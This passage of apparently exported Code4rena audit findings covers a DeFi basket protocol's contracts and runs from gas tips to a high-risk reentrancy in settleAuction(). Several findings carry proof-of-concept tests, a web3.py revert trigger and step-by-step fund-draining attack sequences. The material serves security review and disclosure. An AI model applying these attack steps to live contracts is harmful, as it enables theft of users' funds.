ethers.BigNumber.from(UNI_WEIGHT).mul(1000000)); await COMP.connect(owner).approve(basket.address, ethers.BigNumber.from(COMP_WEIGHT).mul(1000000)); await AAVE.connect(owner).approve(basket.address, ethers.BigNumber.from(AAVE_WEIGHT).mul(1000000)); console.log(\"User balance before minting:\"); console.log(\"UNI balance: \" + (await UNI.balanceOf(owner.address)).toString()); console.log(\"COMP balance: \" + (await COMP.balanceOf(owner.address)).toString()); console.log(\"AAVE balance: \" + (await AAVE.balanceOf(owner.address)).toString()); await basket.connect(owner).mint(ethers.BigNumber.from(1).div(1)); await basket.connect(owner).mint(ethers.BigNumber.from(1).div(1)); await basket.connect(owner).mint(ethers.BigNumber.from(1).div(1)); await basket.connect(owner).mint(ethers.BigNumber.from(1).div(1)); await basket.connect(owner).mint(ethers.BigNumber.from(1).div(1)); console.log(\"\\nUser balance after minting 1 share 5 times:\"); console.log(\"UNI balance: \" + (await UNI.balanceOf(owner.address)).toString()); console.log(\"COMP balance: \" + (await COMP.balanceOf(owner.address)).toString()); console.log(\"AAVE balance: \" + (await AAVE.balanceOf(owner.address)).toString()); await basket.connect(owner).burn(await basket.balanceOf(owner.address)); console.log(\"\\nUser balance after burning all shares:\"); console.log(\"UNI balance: \" + (await UNI.balanceOf(owner.address)).toString()); console.log(\"COMP balance: \" + (await COMP.balanceOf(owner.address)).toString()); console.log(\"AAVE balance: \" + (await AAVE.balanceOf(owner.address)).toString()); }); ``` ## Tools Used Manual analysis, hardhat. ## Recommended Mitigation Steps Add a check to ```pullUnderlying```: ``` require(tokenAmount > 0); ``` I think it makes sense that if a user is trying to mint an amount so small that no tokens could be pulled from him, the mint request should be denied. Per my tests, for an initial ibRatio, this number (the minimal amount of shares that can be minted) is 2 for weights in magnitude of 1e18, and if the weights are eg. smaller by 100, this number will be 101. "}, {"title": "`Auction.sol#bondTimestamp` Misleading name", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/80", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "`Auction.sol#bondTimestamp` Misleading name"}, {"title": "`Basket.sol#handleFees()` could potentially cause disruption of minting and burning", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/79", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L110-L129 ```solidity= function handleFees() private { if (lastFee == 0) { lastFee = block.timestamp; } else { uint256 startSupply = totalSupply(); uint256 timeDiff = (block.timestamp - lastFee); uint256 feePct = timeDiff * licenseFee / ONE_YEAR; uint256 fee = startSupply * feePct / (BASE - feePct); _mint(publisher, fee * (BASE - factory.ownerSplit()) / BASE); _mint(Ownable(address(factory)).owner(), fee * factory.ownerSplit() / BASE); lastFee = block.timestamp; uint256 newIbRatio = ibRatio * startSupply / totalSupply(); ibRatio = newIbRatio; emit NewIBRatio(ibRatio); } } ``` `timeDiff * licenseFee` can be greater than `ONE_YEAR` when `timeDiff` and/or `licenseFee` is large enough, which makes `feePct` to be greater than `BASE` so that `BASE - feePct` will revert on underflow. ## Impact Minting and burning of the basket token are being disrupted until the publisher update the `licenseFee`. ## Proof of Concept 1. Create a basket with a `licenseFee` of `1e19` or 1000% per year and mint 1 basket token; 2. The basket remain inactive (not being minted or burned) for 2 months; 3. Calling `mint` and `burn` reverts at `handleFees()`. ## Recommended Mitigation Steps Limit the max value of `feePct`. "}, {"title": "Use calldata instead of memory in function parameter declarations", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/75", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle chasemartin01 # Vulnerability details ## Impact Gas optimisation ## Example As an example, you can change the declaration of `inputTokens`, `inputWeights`, `outputTokens`, `outputWeights` to be `calldata` as a gas optimisation https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L69-L75 There's other instances of this in `Basket.sol` and`Factory.sol` ## Explanation When you specify `memory` for a function param for an external function, the following happens: the compiler copies elements from `calldata` to `memory` (using the opcode `calldatacopy`.) Note that there is also the opcode `calldataload` to read an offset from `calldata`. By changing the location from `memory` to `calldata`, you avoid this expensive copy from `calldata` to `memory`, while managing to do exactly what's needed. ## Tools Used Manual analysis ## Recommended Mitigation Steps Change all instances of `memory` to `calldata` where the function parameter isn't being modified "}, {"title": "Not handling approve return value", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/73", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details As defined in the ERC20 Specification, the approve function returns a bool that signals the success of the call. However, in `Basket.sol#approveUnderlying()` the value returned from calls to approve is ignored. https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L224-L228 ## Recommended Mitigation Steps To handle calls to approve safely, consider using the safeApprove function in OpenZeppelin\u2019s SafeERC20 contract for all approvals. "}, {"title": "`proposal` declared as both a function and a Proposal in Factory", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/71", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle loop # Vulnerability details `proposal` is declared as both a function name and the name for a Proposal object. ## Proof of Concept Factory.sol line 35: `function proposal(uint256 proposalId) external override view returns (Proposal memory) {` Factory.sol line 77: `Proposal memory proposal = Proposal({` ## Tools Used Remix ## Recommended Mitigation Steps Change function name to `getProposal` to avoid double naming and be more in line with other getter/setter functions used. "}, {"title": "Use of uint rather than uint256", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/69", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle loop # Vulnerability details In basket.sol there is one use of `uint` rather than `uint256`, which is used in the rest of the codebase. ## Impact No real impact considering `uint` functions as a `uint256`. ## Proof of Concept Basket.sol - line 60: `for (uint i = 0; i < length; i++) {` "}, {"title": "Code lacking comments/spec", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/68", "labels": ["bug", "0 (Non-critical)", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Code lacking comments/spec"}, {"title": "Bonding mechanism allows malicious user to DOS auctions", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/66", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Bonding mechanism allows malicious user to DOS auctions"}, {"title": "Basket becomes unusable if everybody burns their shares", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/64", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle kenzo # Vulnerability details While handling the fees, the contract calculates the new ibRatio by dividing by totalSupply. This can be 0 leading to a division by 0. ## Impact If everybody burns their shares, in the next mint, totalSupply will be 0, handleFees will revert, and so nobody will be able to use the basket anymore. ## Proof of Concept Vulnerable line: https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L124 You can add the following test to Basket.test.js and see that it reverts (..after you remove \"nonReentrant\" from \"mint\", see other issue): it(\"should divide by 0\", async () => { await basket.connect(addr1).burn(await basket.balanceOf(addr1.address)); await basket.connect(addr2).burn(await basket.balanceOf(addr2.address)); await UNI.connect(addr1).approve(basket.address, ethers.BigNumber.from(1)); await COMP.connect(addr1).approve(basket.address, ethers.BigNumber.from(1)); await AAVE.connect(addr1).approve(basket.address, ethers.BigNumber.from(1)); await basket.connect(addr1).mint(ethers.BigNumber.from(1)); }); ## Tools Used Manual analysis, hardhat. ## Recommended Mitigation Steps Add a check to handleFees: if totalSupply= 0, you can just return, no need to calculate new ibRatio / fees. You might want to reset ibRatio to BASE at this point. "}, {"title": "Basket will break and lock all user funds if not used in 100 years", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/63", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle kenzo # Vulnerability details The ```handleFees``` function divides by ```(BASE - ((block.timestamp - lastFee)* licenseFee / ONE_YEAR))```. For initial BASE of 1e18 and licenseFee of 1e16, it means that if nobody calls this function in 100 years, the function will divide by 0. ## Impact After 100 years of no usage, handleFees will always revert and nobody will be able to mint, burn etc'. ## Proof of Concept Vulnerable line which will divide by 0: https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L118 To test this, you can deploy to testnet a contract, then use a time machine to travel to 100 years in the future and try to use mint(). If for some reason you don't want to use your time machine, you may use this function to simulate the passage of time: ``` async function skipTime(seconds) { let blockNumber = await hre.network.provider.request({ method: \"eth_blockNumber\", params: [], }); let block = await ethers.provider.getBlock(blockNumber[\"result\"]); await hre.network.provider.request({ method: \"evm_mine\", params: [block[\"timestamp\"]+seconds], }); } ``` ## Tools Used Manual analysis, hardhat, time machine. ## Recommended Mitigation Steps Tell your grandchildren to call mint(1) in 99 years. "}, {"title": "Missing Transfer Ownership Pattern", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/62", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Missing Transfer Ownership Pattern"}, {"title": "Inaccurate log emitted at deleteNewIndex", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/58", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle kenzo # Vulnerability details The DeletedNewIndex log emits \"publisher\", but it might be the auction that called the function. Note: the event is defined as: event DeletedNewIndex(address _publisher); So if you wanted to anyway emit just the publisher, this is not a bug. However as this function call be called from both publisher and auction, I have a feeling you wanted to emit the msg.sender. ## Impact Inaccurate data supplied. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L208 ## Tools Used Manual analysis ## Recommended Mitigation Steps Emit msg.sender instead of publisher. "}, {"title": "BLOCK_DECREMENT not used", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/57", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "BLOCK_DECREMENT not used"}, {"title": "Scoop ERC20 tokens from basket contract", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/56", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Scoop ERC20 tokens from basket contract"}, {"title": "malicious tokens could be added with addBounty", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/55", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "malicious tokens could be added with addBounty"}, {"title": "handleFees() only mint when necessary", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact If the functions mintTo and burn of Basket.sol are called twice in the same block then block.timestamp will stay the same and timeDiff ==0. Then it is not necessary to _mint () tokens, as this will be 0 tokens anyway. So checking for timeDiff ==0 could save a bit of gas. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L110 function handleFees() private { if (lastFee == 0) { lastFee = block.timestamp; } else { uint256 startSupply = totalSupply(); uint256 timeDiff = (block.timestamp - lastFee); uint256 feePct = timeDiff * licenseFee / ONE_YEAR; uint256 fee = startSupply * feePct / (BASE - feePct); _mint(publisher, fee * (BASE - factory.ownerSplit()) / BASE); _mint(Ownable(address(factory)).owner(), fee * factory.ownerSplit() / BASE); lastFee = block.timestamp; uint256 newIbRatio = ibRatio * startSupply / totalSupply(); ibRatio = newIbRatio; emit NewIBRatio(ibRatio); } } ## Tools Used ## Recommended Mitigation Steps Add an extra if in the following way: function handleFees() private { if (lastFee == 0) { lastFee = block.timestamp; } else { uint256 startSupply = totalSupply(); uint256 timeDiff = (block.timestamp - lastFee); if (timeDiff !=0) { // ===> extra if uint256 feePct = timeDiff * licenseFee / ONE_YEAR; uint256 fee = startSupply * feePct / (BASE - feePct); _mint(publisher, fee * (BASE - factory.ownerSplit()) / BASE); _mint(Ownable(address(factory)).owner(), fee * factory.ownerSplit() / BASE); lastFee = block.timestamp; uint256 newIbRatio = ibRatio * startSupply / totalSupply(); ibRatio = newIbRatio; emit NewIBRatio(ibRatio); } } } "}, {"title": "handleFees() will revert if licenseFee is too high", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/52", "labels": ["bug", "1 (Low Risk)"], "target": "2021-09-defiprotocol-findings", "body": "handleFees() will revert if licenseFee is too high"}, {"title": "More readable constants", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/51", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "More readable constants"}, {"title": "initialize of Basket.sol is missing initializer ", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/50", "labels": ["bug", "duplicate", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact When using the Openzeppelin upgradability pattern, the initialize() function should you the modifier initializer. However the initialize() function of Basket.sol doesn't have this modifier. This won't give problems in practice because __ERC20_init() does have this modifier and prevents initialize() from being called twice. However forks of the projects or future developers might not be aware of this any make risky changes. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L36 import { ERC20Upgradeable } from \"@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol\"; contract Basket is IBasket, ERC20Upgradeable { .. function initialize(IFactory.Proposal memory proposal, IAuction auction_) public override { ... __ERC20_init(proposal.tokenName, proposal.tokenSymbol); } ## Tools Used ## Recommended Mitigation Steps Add the modifier initializer to the function initialize() "}, {"title": "Auction settler can steal user funds if bond timestamp is high enough", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/45", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle kenzo # Vulnerability details After an auction has started, as time passes and according to the bondTimestamp, newRatio (which starts at 2*ibRatio) gets smaller and smaller and therefore less and less tokens need to remain in the basket. This is not capped, and after a while, newRatio can become smaller than current ibRatio. ## Impact If for some reason nobody has settled an auction and the publisher didn't stop it, a malicious user can wait until newRatio < ibRatio, or even until newRatio ~= 0 (for an initial ibRatio of ~1e18 this happens after less than 3.5 days after auction started), and then bond and settle and steal user funds. ## Proof of Concept These are the vulnerable lines: https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L89:#L99 ``` uint256 a = factory.auctionMultiplier() * basket.ibRatio(); uint256 b = (bondTimestamp - auctionStart) * BASE / factory.auctionDecrement(); uint256 newRatio = a - b; for (uint256 i = 0; i < pendingWeights.length; i++) { uint256 tokensNeeded = basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE / BASE; require(IERC20(pendingTokens[i]).balanceOf(address(basket)) >= tokensNeeded); } ``` The function verifies that ```pendingTokens[i].balanceOf(basket) >= basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE / BASE```. This is the formula that will be used later to mint/burn/withdraw user funds. As bondTimestamp increases, newRatio will get smaller, and there is no check on this. After a while we'll arrive at a point where ```newRatio ~= 0```, so ```tokensNeeded = newRatio*(...) ~= 0```, so the attacker could withdraw nearly all the tokens using outputTokens and outputWeights, and leave just scraps in the basket. ## Tools Used Manual analysis, hardhat. ## Recommended Mitigation Steps Your needed condition/math might be different, and you might also choose to burn the bond while you're at it, but I think at the minimum you should add a sanity check in settleAuction: ``` require (newRatio > basket.ibRatio()); ``` "}, {"title": "Redundant call to external contract, result can be saved", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle kenzo # Vulnerability details When using few times an unchanging value from external contract call, the result can be saved and used without recalling the external contract. ## Impact Some gas can be saved. ## Proof of Concept In settleAuction, the basket's totalSupply stays constant through the loop's iterations. ``` for (uint256 i = 0; i < pendingWeights.length; i++) { uint256 tokensNeeded = basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE / BASE; require(IERC20(pendingTokens[i]).balanceOf(address(basket)) >= tokensNeeded); } ``` https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L97 ## Tools Used Manual analysis, hardhat ## Recommended Mitigation Steps Save basketAsERC20.totalSupply() to a local variable outside the loop, and use that variable inside the loop. "}, {"title": "No minimum rate in the auction may break the protocol under network failure", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/42", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact The aution contract decides a new `ibRatio` in the function `settleAuction`. [Auction.sol#L89-L91](https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L89-L91) ```solidity uint256 a = factory.auctionMultiplier() * basket.ibRatio(); uint256 b = (bondTimestamp - auctionStart) * BASE / factory.auctionDecrement(); uint256 newRatio = a - b; ``` There's a chance that `newRatio` would be really close to zero. This imposes too much risk on the protocol. The network may not really be healthy all the time. Solana and Arbitrum were down and Ethereum was suffered a forking issue recently. Also, the network may be jammed from time to time. This could cause huge damage to a protocol. Please refer to [Black Thursday for makerdao 8.32 million was liquidated for 0 dai](https://medium.com/@whiterabbit_hq/black-thursday-for-makerdao-8-32-million-was-liquidated-for-0-dai-36b83cac56b6) Given the chance that all user may lose their money, I consider this is a medium-risk issue. ## Proof of Concept [Black Thursfay for makerdao 8.32 million was liquidated for 0 dai](https://medium.com/@whiterabbit_hq/black-thursday-for-makerdao-8-32-million-was-liquidated-for-0-dai-36b83cac56b6) [bug-impacting-over-50-of-ethereum-clients-leads-to-fork](https://www.theblockcrypto.com/post/115822/bug-impacting-over-50-of-ethereum-clients-leads-to-fork) ## Tools Used None ## Recommended Mitigation Steps I recommend setting a minimum `ibRatio` when a publisher publishes a new index. The auction should be killed if the `ibRatio` is too low. "}, {"title": " settleAuction may be impossible if locked at a wrong time.", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/41", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact The aution contract decides a new `ibRatio` in the function `settleAuction`. [Auction.sol#L89-L91](https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L89-L91) ```solidity uint256 a = factory.auctionMultiplier() * basket.ibRatio(); uint256 b = (bondTimestamp - auctionStart) * BASE / factory.auctionDecrement(); uint256 newRatio = a - b; ``` In this equation, `a` would not always be greater than `b`. The ` auctionBonder` may lock the token in `bondForRebalance()` at a point that `a-b` would always revert. The contract should not allow users to lock the token at the point that not gonna succeed. Given the possible (huge) loss of the user may suffer, I consider this is a medium-risk issue. ## Proof of Concept Here's a web3.py script to trigger this bug. ```python basket.functions.publishNewIndex([dai.address], [deposit_amount]).transact() for i in range(4 * 60 * 24): w3.provider.make_request('evm_mine', []) basket.functions.publishNewIndex([dai.address], [deposit_amount]).transact() print('auction on going', auction.functions.auctionOngoing().call()) for i in range(20000): w3.provider.make_request('evm_mine', []) all_token = basket.functions.balanceOf(user).call() basket.functions.approve(auction.address, all_token).transact() auction.functions.bondForRebalance().transact() # error Log # {'code': -32603, 'message': 'Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation underflowed or overflowed outside of an unchecked block)'} auction.functions.settleAuction([], [], [], [], []).transact() ``` ## Tools Used None ## Recommended Mitigation Steps Recommend to calculate the new irate in `bondForRebalance`. I understand the `auctionBonder` should take the risk to get the profit. However, the contract should protect the user in the first place when this auction is doomed to fail. "}, {"title": "Restore state to 0 if not needed anymore", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/40", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle kenzo # Vulnerability details In some places where data is discarded such as ```bondBurn```, part of the data is set to 0 (```auctionBonder```), and other parts are not (```bondTimestamp```). Setting unnecessary data back to 0 will save gas. ## Impact Almost 2000 gas saved for each variable reset. In some places, like ```createBasket``` (which only needs to save the proposal's \"basket\" field after creating the basket), this can save almost 15000 gas. ## Proof of Concept Places where data is not reset: Factory's createBasket (set all _proposals[idNumber]'s fields to be 0 except basket) https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Factory.sol#L112 Basket's changePublisher: (set pendingPublisher.block = 0) https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L141 Basket's changeLicenseFee: (set pendingLicenseFee.block = 0) https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L159 Basket's setNewWeights and deleteNewIndex: (set pendingWeights.tokens and pendingWeights.weights to empty arrays) https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L200 https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L212 Auction's killAuction: (set auctionStart = 0) https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L44 Auction's settleAuction: (set bondTimestamp, auctionBonder = 0) https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L107 Auction's bondBurn: (set bondTimestamp = 0) https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L120 Auction's withdrawBounty: (set bounty.token, bounty.token = 0) https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Auction.sol#L148 ## Tools Used Manual analysis, hardhat. ## Recommended Mitigation Steps Detailed above. "}, {"title": "Unnecessary initializing of variable to 0", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Unnecessary initializing of variable to 0"}, {"title": "Unsafe approve would halt the auction and burn the bond", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/35", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-09-defiprotocol-findings", "body": "Unsafe approve would halt the auction and burn the bond"}, {"title": "Reentrancy in settleAuction(): malicious publisher can bypass index timelock mechanism, inject malicious index, and rug the basket", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/31", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle kenzo # Vulnerability details The settleAuction() function calls withdrawBounty() before setting auctionOngoing = false, thereby allowing reentrancy. ## Impact A malicious publisher can bypass the index timelock mechanism and publish new index which the basket's users won't have time to respond to. At worst case, this means setting weights that allow the publisher to withdraw all the basket's underlying funds for himself, under the guise of a valid new index. ## Proof of Concept 1. The publisher (a contract) will propose new valid index and bond the auction. To settle the auction, the publisher will execute the following steps in the same transaction: 2. Add a bounty of an ERC20 contract with a malicious transfer() function. 3. Settle the valid new weights correctly (using settleAuction() with the correct parameters, and passing the malicious bounty id). 4. settleAuction() will call withdrawBounty() which upon transfer will call the publisher's malicious ERC20 contract. 5. The contract will call settleAuction() again, with empty parameters. Since the previous call's effects have already set all the requirements to be met, settleAuction() will finish correctly and call setNewWeights() which will set the new valid weights and set pendingWeights.pending = false. 6. Still inside the malicious ERC20 contract transfer function, the attacker will now call the basket's publishNewIndex(), with weights that will transfer all the funds to him upon his burning of shares. This call will succeed to set new pending weights as the previous step set pendingWeights.pending = false. 7. Now the malicious withdrawBounty() has ended, and the original settleAuction() is resuming, but now with malicious weights in pendingWeights (set in step 6). settleAuction() will now call setNewWeights() which will set the basket's weights to be the malicious pending weights. 8. Now settleAuction has finished, and the publisher (within the same transaction) will burn() all his shares of the basket, thereby transferring all the tokens to himself. POC exploit: Password to both files: \"exploit\". AttackPublisher.sol , to be put under contracts/contracts/Exploit: https://pastebin.com/efHZjstS ExploitPublisher.test.js , to be put under contracts/test: https://pastebin.com/knBtcWkk ## Tools Used Manual analysis, hardhat. ## Recommended Mitigation Steps In settleAuction(), move basketAsERC20.transfer() and withdrawBounty() to the end of the function, conforming with Checks Effects Interactions pattern. "}, {"title": "Cannot change pending while timelocked", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/30", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle joeysantoro # Vulnerability details ## Impact If any of the timelocked variables of a basket are pending a change, a transaction to change the target will revert during the timelock window. ## Proof of Concept Publisher wants to change license fee. They submit a change request but fat finger with the wrong value. The only way to change the pending licenseFee is to complete the change to the incorrect value (after timelock period) then resubmit a new request. In the case of changing index this can be mitigated by using deleteNewIndex(), however changePublisher and changeLicenseFee cannot be mitigated. ## Recommended Mitigation Steps Introduce a \"setPendingX\" method for each of liscenceFee, publisher, and index. This cleanly separates the logic and allows for overwrite of pending during timelock window. "}, {"title": "DAO is fee recipient / cannot revoke owner", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/27", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "DAO is fee recipient / cannot revoke owner"}, {"title": "Global bounties variable and 0 bounty allow dos in bounty functionality of basket", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/25", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle csanuragjain # Vulnerability details ## Impact It was observed that _bounties variable is global per basket. Also you are allowed to add 0 amount in bounty. This means if user adds uint256 max times bounty with amount 0, no one can add further bounty on this basket ## Proof of Concept 1. User calls addBounty function with amount 0 uint256 max times ``` function addBounty(IERC20 token, uint256 amount) public override returns (uint256) { // add bounty to basket token.safeTransferFrom(msg.sender, address(this), amount); _bounties.push(Bounty({ token: address(token), amount: amount, active: true })); uint256 id = _bounties.length - 1; emit BountyAdded(token, amount, id); return id; } ``` 2. Now noone can call bounty on this basket anymore ## Recommended Mitigation Steps _bounties should be cleared once auction has been settled "}, {"title": "Zero weighted baskets are allowed to steal funds", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/21", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle csanuragjain # Vulnerability details ## Impact It was observed that Publisher is allowed to create a basket with zero token and weight. This can lead to user fund stealing as described in below poc The issue was discovered in validateWeights function of Basket contract ## Proof of Concept 1. User proposes a new Basket with 0 tokens and weights using proposeBasketLicense function in Factory contract ``` Proposal memory proposal = Proposal({ licenseFee: 10, tokenName: abc, tokenSymbol: aa, proposer: 0xabc, tokens: {}, weights: {}, basket: address(0) }); ``` 2. validateWeights function is called and it returns success as the only check performed is _tokens.length == _weights.length (0=0) ``` function validateWeights(address[] memory _tokens, uint256[] memory _weights) public override pure { require(_tokens.length == _weights.length); uint256 length = _tokens.length; address[] memory tokenList = new address[](length); // check uniqueness of tokens and not token(0) for (uint i = 0; i < length; i++) { ... } } ``` 3. A new proposal gets created ``` _proposals.push(proposal); ``` 4. User creates new Basket with this proposal using createBasket function ``` function createBasket(uint256 idNumber) external override returns (IBasket) { Proposal memory bProposal = _proposals[idNumber]; require(bProposal.basket == address(0)); .... for (uint256 i = 0; i < bProposal.weights.length; i++) { ... } ... return newBasket; } ``` 5. Since no weights and tokens were in this proposal so no token transfer is required (bProposal.weights.length will be 0 so loop won't run) 6. Basket gets created and user becomes publisher for this basket ``` newBasket.mintTo(BASE, msg.sender); _proposals[idNumber].basket = address(newBasket); ``` 7. Publisher owned address calls the mint function with say amount 10 on Basket.sol contract ``` function mint(uint256 amount) public override { mintTo(amount, msg.sender); } function mintTo(uint256 amount, address to) public override { ... pullUnderlying(amount, msg.sender); _mint(to, amount); ... } ``` 8. Since there is no weights so pullUnderlying function does nothing (weights.length is 0) ``` function pullUnderlying(uint256 amount, address from) private { for (uint256 i = 0; i < weights.length; i++) { uint256 tokenAmount = amount * weights[i] * ibRatio / BASE / BASE; IERC20(tokens[i]).safeTransferFrom(from, address(this), tokenAmount); } } ``` 9. Full amount 10 is minted to Publisher owned address setting balanceOf(msg.sender) = 10 ``` _mint(to, amount); ``` 10. Now Publisher calls the publishNewIndex to set new weights. Since pendingWeights.pending is false, else condition gets executed ``` function publishNewIndex(address[] memory _tokens, uint256[] memory _weights) 